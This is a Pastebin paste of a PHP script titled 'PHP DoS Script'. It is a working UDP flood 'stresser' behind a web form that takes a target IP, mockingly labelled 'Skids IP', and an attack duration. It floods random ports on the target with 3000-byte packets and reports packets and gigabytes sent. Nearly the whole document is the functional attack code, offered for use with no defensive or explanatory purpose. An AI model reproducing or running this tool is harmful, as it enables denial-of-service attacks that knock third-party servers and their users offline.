Advertisement
iViiRuS

PHP DoS Script

Jun 4th, 2014
898
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.93 KB | None | 0 0
  1. <?php include("/var/www/html/password_protect.php"); ?>
  2. <?php
  3. ///////////////////
  4. //Sheikh Viirus Script//
  5. //////////////////
  6. echo "<center> Script Stresser | Web Hosting  </center>";
  7. if(isset($_GET['host'])&&isset($_GET['time'])){
  8. $packets = 65500;
  9. $rand = 53;
  10. ignore_user_abort(FALSE);
  11. set_time_limit(300);
  12.  
  13. $exec_time = $_GET['time'];
  14.  
  15. $time = time();
  16.     $max_time = $time+$exec_time;
  17.  
  18.     $host = $_GET['host'];
  19.    
  20.     for($i=1;$i<3000;$i++){
  21.             $out .= 'X';
  22.     }
  23.     while(1){
  24.     $packets++;
  25.             if(time() > $max_time){
  26.                     break;
  27.             }
  28.             $rand = rand(1,65535);
  29.             $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
  30.             if($fp){
  31.                     fwrite($fp, $out);
  32.                     fclose($fp);
  33.             }
  34.     }
  35. $pps = round($packets/$exec_time, 2);
  36. $megabytes = round(($packets*65)/1024, 2);
  37. $mbps = round($megabytes/$exec_time, 2);
  38. $gigabytes = round($megabytes/1024, 2);
  39. $gbps = round($gigabytes/$exec_time, 2);
  40.  
  41. echo "DDoSing-->: $host\n <br /> <br />";
  42. echo "Offline time: $exec_time seconds.\n <br /> <br />";
  43. echo "Packets:  $packets packets, averaging $pps packets/s.\n <br /> <br />";
  44. echo "Megabytes: $megabytes MB averaging $mbps MB/s.\n <br /> <br />";
  45. echo "Gigabytes:  $gigabytes GB averaging  $gbps GB/s.\n <br /> <br />";
  46.  
  47.     echo '<form action="'.$surl.'" method=GET>
  48.        <input type="hidden" name="act" value="phptools">
  49.        Skids IP: <br><input type=text name=host><br>
  50.        Time: <br><input type=text name=time><br><br>
  51.        <input type=submit value=      Start~Slamin    ></form>';
  52. }else{ echo '<form action=? method=GET>
  53.            <input type="hidden" name="act" value="phptools">
  54.            Skids IP: <br><input type=text name=host value=><br>
  55.            Time: <br><input type=text name=time value=><br><br>
  56.            <input type=submit value=      Execute    ></form>';
  57. }
  58. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement